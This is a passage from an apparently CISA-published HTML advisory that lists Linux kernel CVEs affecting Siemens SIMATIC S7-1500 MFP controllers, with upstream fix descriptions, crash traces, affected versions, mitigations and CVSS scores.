rtnetlink_rcv+0x18/0x24 [ 173.757731] netlink_unicast+0x318/0x380 [ 173.761665] netlink_sendmsg+0x17c/0x3c8</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50298">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-53124</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix data-races around sk-&gt;sk_forward_alloc Syzkaller reported this warning: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 16 at net/ipv4/af_inet.c:156 inet_sock_destruct+0x1c5/0x1e0 Modules linked in: CPU: 0 UID: 0 PID: 16 Comm: ksoftirqd/0 Not tainted 6.12.0-rc5 #26 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:inet_sock_destruct+0x1c5/0x1e0 Code: 24 12 4c 89 e2 5b 48 c7 c7 98 ec bb 82 41 5c e9 d1 18 17 ff 4c 89 e6 5b 48 c7 c7 d0 ec bb 82 41 5c e9 bf 18 17 ff 0f 0b eb 83 &lt;0f&gt; 0b eb 97 0f 0b eb 87 0f 0b e9 68 ff ff ff 66 66 2e 0f 1f 84 00 RSP: 0018:ffffc9000008bd90 EFLAGS: 00010206 RAX: 0000000000000300 RBX: ffff88810b172a90 RCX: 0000000000000007 RDX: 0000000000000002 RSI: 0000000000000300 RDI: ffff88810b172a00 RBP: ffff88810b172a00 R08: ffff888104273c00 R09: 0000000000100007 R10: 0000000000020000 R11: 0000000000000006 R12: ffff88810b172a00 R13: 0000000000000004 R14: 0000000000000000 R15: ffff888237c31f78 FS: 0000000000000000(0000) GS:ffff888237c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffc63fecac8 CR3: 000000000342e000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? __warn+0x88/0x130 ? inet_sock_destruct+0x1c5/0x1e0 ? report_bug+0x18e/0x1a0 ? handle_bug+0x53/0x90 ? exc_invalid_op+0x18/0x70 ? asm_exc_invalid_op+0x1a/0x20 ? inet_sock_destruct+0x1c5/0x1e0 __sk_destruct+0x2a/0x200 rcu_do_batch+0x1aa/0x530 ? rcu_do_batch+0x13b/0x530 rcu_core+0x159/0x2f0 handle_softirqs+0xd3/0x2b0 ? __pfx_smpboot_thread_fn+0x10/0x10 run_ksoftirqd+0x25/0x30 smpboot_thread_fn+0xdd/0x1d0 kthread+0xd3/0x100 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x34/0x50 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 ---[ end trace 0000000000000000 ]--- Its possible that two threads call tcp_v6_do_rcv()/sk_forward_alloc_add() concurrently when sk-&gt;sk_state == TCP_LISTEN with sk-&gt;sk_lock unlocked, which triggers a data-race around sk-&gt;sk_forward_alloc: tcp_v6_rcv tcp_v6_do_rcv skb_clone_and_charge_r sk_rmem_schedule __sk_mem_schedule sk_forward_alloc_add() skb_set_owner_r sk_mem_charge sk_forward_alloc_add() __kfree_skb skb_release_all skb_release_head_state sock_rfree sk_mem_uncharge sk_forward_alloc_add() sk_mem_reclaim // set local var reclaimable __sk_mem_reclaim sk_forward_alloc_add() In this syzkaller testcase, two threads call tcp_v6_do_rcv() with skb-&gt;truesize=768, the sk_forward_alloc changes like this: (cpu 1) | (cpu 2) | sk_forward_alloc ... | ... | 0 __sk_mem_schedule() | | +4096 = 4096 | __sk_mem_schedule() | +4096 = 8192 sk_mem_charge() | | -768 = 7424 | sk_mem_charge() | -768 = 6656 ... | ... | sk_mem_uncharge() | | +768 = 7424 reclaimable=7424 | | | sk_mem_uncharge() | +768 = 8192 | reclaimable=8192 | __sk_mem_reclaim() | | -4096 = 4096 | __sk_mem_reclaim() | -8192 = -4096 != 0 The skb_clone_and_charge_r() should not be called in tcp_v6_do_rcv() when sk-&gt;sk_state is TCP_LISTEN, it happens later in tcp_v6_syn_recv_sock(). Fix the same issue in dccp_v6_do_rcv().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-53124">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-53170</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: fix uaf for flush rq while iterating tags blk_mq_clear_flush_rq_mapping() is not called during scsi probe, by checking blk_queue_init_done(). However, QUEUE_FLAG_INIT_DONE is cleared in del_gendisk by commit aec89dc5d421 ("block: keep q_usage_counter in atomic mode after del_gendisk"), hence for disk like scsi, following blk_mq_destroy_queue() will not clear flush rq from tags-&gt;rqs[] as well, cause following uaf that is found by our syzkaller for v6.6: ================================================================== BUG: KASAN: slab-use-after-free in blk_mq_find_and_get_req+0x16e/0x1a0 block/blk-mq-tag.c:261 Read of size 4 at addr ffff88811c969c20 by task kworker/1:2H/224909 CPU: 1 PID: 224909 Comm: kworker/1:2H Not tainted 6.6.0-ga836a5060850 #32 Workqueue: kblockd blk_mq_timeout_work Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x91/0xf0 lib/dump_stack.c:106 print_address_description.constprop.0+0x66/0x300 mm/kasan/report.c:364 print_report+0x3e/0x70 mm/kasan/report.c:475 kasan_report+0xb8/0xf0 mm/kasan/report.c:588 blk_mq_find_and_get_req+0x16e/0x1a0 block/blk-mq-tag.c:261 bt_iter block/blk-mq-tag.c:288 [inline] __sbitmap_for_each_set include/linux/sbitmap.h:295 [inline] sbitmap_for_each_set include/linux/sbitmap.h:316 [inline] bt_for_each+0x455/0x790 block/blk-mq-tag.c:325 blk_mq_queue_tag_busy_iter+0x320/0x740 block/blk-mq-tag.c:534 blk_mq_timeout_work+0x1a3/0x7b0 block/blk-mq.c:1673 process_one_work+0x7c4/0x1450 kernel/workqueue.c:2631 process_scheduled_works kernel/workqueue.c:2704 [inline] worker_thread+0x804/0xe40 kernel/workqueue.c:2785 kthread+0x346/0x450 kernel/kthread.c:388 ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:293 Allocated by task 942: kasan_save_stack+0x22/0x50 mm/kasan/common.c:45 kasan_set_track+0x25/0x30 mm/kasan/common.c:52 ____kasan_kmalloc mm/kasan/common.c:374 [inline] __kasan_kmalloc mm/kasan/common.c:383 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:380 kasan_kmalloc include/linux/kasan.h:198 [inline] __do_kmalloc_node mm/slab_common.c:1007 [inline] __kmalloc_node+0x69/0x170 mm/slab_common.c:1014 kmalloc_node include/linux/slab.h:620 [inline] kzalloc_node include/linux/slab.h:732 [inline] blk_alloc_flush_queue+0x144/0x2f0 block/blk-flush.c:499 blk_mq_alloc_hctx+0x601/0x940 block/blk-mq.c:3788 blk_mq_alloc_and_init_hctx+0x27f/0x330 block/blk-mq.c:4261 blk_mq_realloc_hw_ctxs+0x488/0x5e0 block/blk-mq.c:4294 blk_mq_init_allocated_queue+0x188/0x860 block/blk-mq.c:4350 blk_mq_init_queue_data block/blk-mq.c:4166 [inline] blk_mq_init_queue+0x8d/0x100 block/blk-mq.c:4176 scsi_alloc_sdev+0x843/0xd50 drivers/scsi/scsi_scan.c:335 scsi_probe_and_add_lun+0x77c/0xde0 drivers/scsi/scsi_scan.c:1189 __scsi_scan_target+0x1fc/0x5a0 drivers/scsi/scsi_scan.c:1727 scsi_scan_channel drivers/scsi/scsi_scan.c:1815 [inline] scsi_scan_channel+0x14b/0x1e0 drivers/scsi/scsi_scan.c:1791 scsi_scan_host_selected+0x2fe/0x400 drivers/scsi/scsi_scan.c:1844 scsi_scan+0x3a0/0x3f0 drivers/scsi/scsi_sysfs.c:151 store_scan+0x2a/0x60 drivers/scsi/scsi_sysfs.c:191 dev_attr_store+0x5c/0x90 drivers/base/core.c:2388 sysfs_kf_write+0x11c/0x170 fs/sysfs/file.c:136 kernfs_fop_write_iter+0x3fc/0x610 fs/kernfs/file.c:338 call_write_iter include/linux/fs.h:2083 [inline] new_sync_write+0x1b4/0x2d0 fs/read_write.c:493 vfs_write+0x76c/0xb00 fs/read_write.c:586 ksys_write+0x127/0x250 fs/read_write.c:639 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x70/0x120 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x78/0xe2 Freed by task 244687: kasan_save_stack+0x22/0x50 mm/kasan/common.c:45 kasan_set_track+0x25/0x30 mm/kasan/common.c:52 kasan_save_free_info+0x2b/0x50 mm/kasan/generic.c:522 ____kasan_slab_free mm/kasan/common.c:236 [inline] __kasan_slab_free+0x12a/0x1b0 mm/kasan/common.c:244 kasan_slab_free include/linux/kasan.h:164 [in ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-53170">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-54458</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: bsg: Set bsg_queue to NULL after removal Currently, this does not cause any issues, but I believe it is necessary to set bsg_queue to NULL after removing it to prevent potential use-after-free (UAF) access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-54458">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-56631</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: sg: Fix slab-use-after-free read in sg_release() Fix a use-after-free bug in sg_release(), detected by syzbot with KASAN: BUG: KASAN: slab-use-after-free in lock_release+0x151/0xa30 kernel/locking/lockdep.c:5838 __mutex_unlock_slowpath+0xe2/0x750 kernel/locking/mutex.c:912 sg_release+0x1f4/0x2e0 drivers/scsi/sg.c:407 In sg_release(), the function kref_put(&amp;sfp-&gt;f_ref, sg_remove_sfp) is called before releasing the open_rel_lock mutex. The kref_put() call may decrement the reference count of sfp to zero, triggering its cleanup through sg_remove_sfp(). This cleanup includes scheduling deferred work via sg_remove_sfp_usercontext(), which ultimately frees sfp. After kref_put(), sg_release() continues to unlock open_rel_lock and may reference sfp or sdp. If sfp has already been freed, this results in a slab-use-after-free error. Move the kref_put(&amp;sfp-&gt;f_ref, sg_remove_sfp) call after unlocking the open_rel_lock mutex. This ensures: - No references to sfp or sdp occur after the reference count is decremented. - Cleanup functions such as sg_remove_sfp() and sg_remove_sfp_usercontext() can safely execute without impacting the mutex handling in sg_release(). The fix has been tested and validated by syzbot. This patch closes the bug reported at the following syzkaller link and ensures proper sequencing of resource cleanup and mutex operations, eliminating the risk of use-after-free errors in sg_release().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-56631">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-56703</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix soft lockups in fib6_select_path under high next hop churn Soft lockups have been observed on a cluster of Linux-based edge routers located in a highly dynamic environment. Using the `bird` service, these routers continuously update BGP-advertised routes due to frequently changing nexthop destinations, while also managing significant IPv6 traffic. The lockups occur during the traversal of the multipath circular linked-list in the `fib6_select_path` function, particularly while iterating through the siblings in the list. The issue typically arises when the nodes of the linked list are unexpectedly deleted concurrently on a different core—indicated by their 'next' and 'previous' elements pointing back to the node itself and their reference count dropping to zero. This results in an infinite loop, leading to a soft lockup that triggers a system panic via the watchdog timer. Apply RCU primitives in the problematic code sections to resolve the issue. Where necessary, update the references to fib6_siblings to annotate or use the RCU APIs. Include a test script that reproduces the issue. The script periodically updates the routing table while generating a heavy load of outgoing IPv6 traffic through multiple iperf3 clients. It consistently induces infinite soft lockups within a couple of minutes. Kernel log: 0 [ffffbd13003e8d30] machine_kexec at ffffffff8ceaf3eb 1 [ffffbd13003e8d90] __crash_kexec at ffffffff8d0120e3 2 [ffffbd13003e8e58] panic at ffffffff8cef65d4 3 [ffffbd13003e8ed8] watchdog_timer_fn at ffffffff8d05cb03 4 [ffffbd13003e8f08] __hrtimer_run_queues at ffffffff8cfec62f 5 [ffffbd13003e8f70] hrtimer_interrupt at ffffffff8cfed756 6 [ffffbd13003e8fd0] __sysvec_apic_timer_interrupt at ffffffff8cea01af 7 [ffffbd13003e8ff0] sysvec_apic_timer_interrupt at ffffffff8df1b83d -- -- 8 [ffffbd13003d3708] asm_sysvec_apic_timer_interrupt at ffffffff8e000ecb [exception RIP: fib6_select_path+299] RIP: ffffffff8ddafe7b RSP: ffffbd13003d37b8 RFLAGS: 00000287 RAX: ffff975850b43600 RBX: ffff975850b40200 RCX: 0000000000000000 RDX: 000000003fffffff RSI: 0000000051d383e4 RDI: ffff975850b43618 RBP: ffffbd13003d3800 R8: 0000000000000000 R9: ffff975850b40200 R10: 0000000000000000 R11: 0000000000000000 R12: ffffbd13003d3830 R13: ffff975850b436a8 R14: ffff975850b43600 R15: 0000000000000007 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 9 [ffffbd13003d3808] ip6_pol_route at ffffffff8ddb030c 10 [ffffbd13003d3888] ip6_pol_route_input at ffffffff8ddb068c 11 [ffffbd13003d3898] fib6_rule_lookup at ffffffff8ddf02b5 12 [ffffbd13003d3928] ip6_route_input at ffffffff8ddb0f47 13 [ffffbd13003d3a18] ip6_rcv_finish_core.constprop.0 at ffffffff8dd950d0 14 [ffffbd13003d3a30] ip6_list_rcv_finish.constprop.0 at ffffffff8dd96274 15 [ffffbd13003d3a98] ip6_sublist_rcv at ffffffff8dd96474 16 [ffffbd13003d3af8] ipv6_list_rcv at ffffffff8dd96615 17 [ffffbd13003d3b60] __netif_receive_skb_list_core at ffffffff8dc16fec 18 [ffffbd13003d3be0] netif_receive_skb_list_internal at ffffffff8dc176b3 19 [ffffbd13003d3c50] napi_gro_receive at ffffffff8dc565b9 20 [ffffbd13003d3c80] ice_receive_skb at ffffffffc087e4f5 [ice] 21 [ffffbd13003d3c90] ice_clean_rx_irq at ffffffffc0881b80 [ice] 22 [ffffbd13003d3d20] ice_napi_poll at ffffffffc088232f [ice] 23 [ffffbd13003d3d80] __napi_poll at ffffffff8dc18000 24 [ffffbd13003d3db8] net_rx_action at ffffffff8dc18581 25 [ffffbd13003d3e40] __do_softirq at ffffffff8df352e9 26 [ffffbd13003d3eb0] run_ksoftirqd at ffffffff8ceffe47 27 [ffffbd13003d3ec0] smpboot_thread_fn at ffffffff8cf36a30 28 [ffffbd13003d3ee8] kthread at ffffffff8cf2b39f 29 [ffffbd13003d3f28] ret_from_fork at ffffffff8ce5fa64 30 [ffffbd13003d3f50] ret_from_fork_asm at ffffffff8ce03cbb</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-56703">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-56719</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix TSO DMA API usage causing oops Commit 66600fac7a98 ("net: stmmac: TSO: Fix unbalanced DMA map/unmap for non-paged SKB data") moved the assignment of tx_skbuff_dma[]'s members to be later in stmmac_tso_xmit(). The buf (dma cookie) and len stored in this structure are passed to dma_unmap_single() by stmmac_tx_clean(). The DMA API requires that the dma cookie passed to dma_unmap_single() is the same as the value returned from dma_map_single(). However, by moving the assignment later, this is not the case when priv-&gt;dma_cap.addr64 &gt; 32 as "des" is offset by proto_hdr_len. This causes problems such as: dwc-eth-dwmac 2490000.ethernet eth0: Tx DMA map failed and with DMA_API_DEBUG enabled: DMA-API: dwc-eth-dwmac 2490000.ethernet: device driver tries to +free DMA memory it has not allocated [device address=0x000000ffffcf65c0] [size=66 bytes] Fix this by maintaining "des" as the original DMA cookie, and use tso_des to pass the offset DMA cookie to stmmac_tso_allocator(). Full details of the crashes can be found at: https://lore.kernel.org/all/d8112193-0386-4e14-b516-37c2d838171a@nvidia.com/ https://lore.kernel.org/all/klkzp5yn5kq5efgtrow6wbvnc46bcqfxs65nz3qy77ujr5turc@bwwhelz2l4dw/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-56719">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
